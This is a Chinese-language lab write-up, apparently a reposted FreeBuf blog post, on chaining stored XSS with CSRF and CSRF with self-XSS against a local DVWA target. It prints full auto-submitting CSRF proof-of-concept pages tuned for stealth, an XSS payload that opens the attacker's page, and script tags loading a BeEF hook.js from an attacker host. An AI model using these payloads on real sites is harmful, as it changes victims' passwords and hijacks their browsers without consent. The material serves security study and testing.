内容简介:本机(Win):192.168.38.1DVWA(Win):192.168.38.132
0×00 前言
今天学习一下 XSS + CSRF 组合拳,现将笔记记录如下。
0×01 靶场环境
本机(Win):192.168.38.1
DVWA(Win):192.168.38.132
Beef(Kali):192.168.38.129
0×02 组合拳思路
第一拳:存储型 XSS + CSRF(存储型 XSS 攻击代码中加入 CSRF 代码链接)
第二拳:CSRF + SelfXSS(CSRF 代码中加入 SelfXSS 代码)
0×03 【第一拳】存储型 XSS + CSRF
1、构造 POC
a、构造 CSRF 代码
这里建议使用 CSRFTester 工具生成的 POC,比使用 BurpSuite 生成的 POC 更加隐蔽,受害者打开该 POC 后,浏览器会自动执行代码随后跳转到正常页面,中途不需要用户交互,也不用像 BurpSuite 生成的 POC 那样还需要受害者手动点击按钮。
本文所使用的 CSRF POC 便是基于 CSRFTester 生成的 POC。关于该 工具 的下载地址,读者可自行搜索,不过也可在我的个人微信公众号:“TeamsSix” 后台回复 “ CSRF ” 获取官方下载链接。
继续来看,咱们需要首先为浏览器设置 8008 代理,打开 DVWA 的 CSRF 模块,输入密码后,先别急着点击 Change.
这时先开启 CSRFTester 的流量记录功能。
开启后,再点击 Change,之后 CSRFTester 就会抓取到修改密码的数据包,这个时候,一般 CSRFTester 还会记录其他流量,所以直接右击将不相关的流量进行删除即可,只保留我们需要的流量。
之后,在 Form Parameters 中将左侧 Query Parameters 数据修改复制即可,值得注意的是 Display in Browers 选项是默认勾选的,这里建议根据自己情况而定。因为这个工具自动生成的代码在我这边是需要手动修改才能利用的,所以我这边选择取消勾选。
之后点击 Generate HTML,选择保存的位置后,手动进行修改即可,当然如果工具生成的代码可以正常使用,就不需要修改了。
对于代码的修改,我主要是将 head、H2标题的内容删除了,以增加隐蔽性。同时增加了倒数第 4 行的代码,因为没有这一句,这个 POC 是不能正常使用的,最后修改后的 CSRF POC 代码如下。
<html> <body onload="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "42" ); function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);} function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++){ document.forms[i].submit(); pausecomp(pauses[i]);}} </script> <form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change"> <input type="hidden" name="password_new" value="123123"/> <input type="hidden" name="password_conf" value="123123"/> <input type="hidden" name="Change" value="Change" /> </form> </body> </html>
b、构造 XSS 代码
<script src="x" onerror=javascript:window.open("http://192.168.38.1/csrf.html")></script>
2、 开工
在 XSS (Stored) 模块下,插入 XSS 代码,当然了前提 Security Level 要设置为 low。
在 DVWA 中会碰到 POC 太长而无法输入完全的情况,这个时候在开发者工具中将这个框的 maxlength 值设置大一点即可,这里我设置了 500.
点击 sign guestbook 按钮,POC 就会被插进去了,之后用其他浏览器登陆其他用户,访问存储型 XSS 模块页面,当然前提也需要把 Security Level 要设置为 low.
访问页面后,浏览器会自动跳转,同时返回修改密码的界面,如果弹出页面显示如上图中的 Password Changed 字样,就说明受害者的密码修改成功了,而这也仅仅是因为受害者点击了一个页面。
0×04 【第二拳】CSRF + SelfXSS
1、构造 POC
a、构造 XSS 代码
我这里使用 beef 作为 XSS 平台。
<script src="http://192.168.38.129:3000/hook.js"></script>
b、构造 CSRF 代码
这里继续使用 CSRFTester 工具生成 CSRF POC。关于该工具的下载地址,读者可自行搜索,不过也可在我的个人微信公众号:“TeamsSix” 后台回复 “ CSRF ” 获取官方下载链接。
具体步骤如上图,这里就直接放出 CSRF POC 代码了,主要还是修改了倒数第 4 行的代码。
<html> <body onload="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "54" ); function pausecomp(millis){ var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis);} function fireForms(){ var count = 1; var i=0; for(i=0; i<count; i++){ document.forms[i].submit(); pausecomp(pauses[i]);}} </script> <form method="GET" name="form0" action="http://192.168.38.132:80/dvwa/vulnerabilities/xss_r/?name=<script src='http://192.168.38.129:3000/hook.js'></script>"> <input type="hidden" name="name" value="<script src='http://192.168.38.129:3000/hook.js'></script>"/> </form> </body> </html>
将上面代码放到本地 Web 服务中,打开其他浏览器,登陆其他账户,再打开我们构造的 CSRF 链接。
http://192.168.38.1/csrf.html
打开链接后,beef 中就能看到上线的主机了。
不过由于这个组合拳是需要诱导受害者点击构造的 CSRF 链接的,所以个人觉着利用难度要高于第一个组合拳:存储型 XSS + CSRF.
0×05 总结
暂时笔记就记录到这里,对于组合拳的利用方法也还有很多,这里只是自己简单的记录了两种。平时挖洞的时候利用好组合拳,所起到的效果可是杠杠滴。
*本文原创作者:TeamsSix,本文属于FreeBuf原创奖励计划,未尽许可禁止转载
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- APP漏洞利用组合拳——应用克隆案例分析
- 新一代杀毒策略 “组合拳”打败网络“高级黑”
- 组合拳出击-Self型XSS变废为宝
- 如何做好漏洞管理的漏洞修复工作
- 漏洞预警 | ThinkPHP5远程命令执行漏洞
- 漏洞预警 | MetInfo最新版本爆出SQL注入漏洞
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。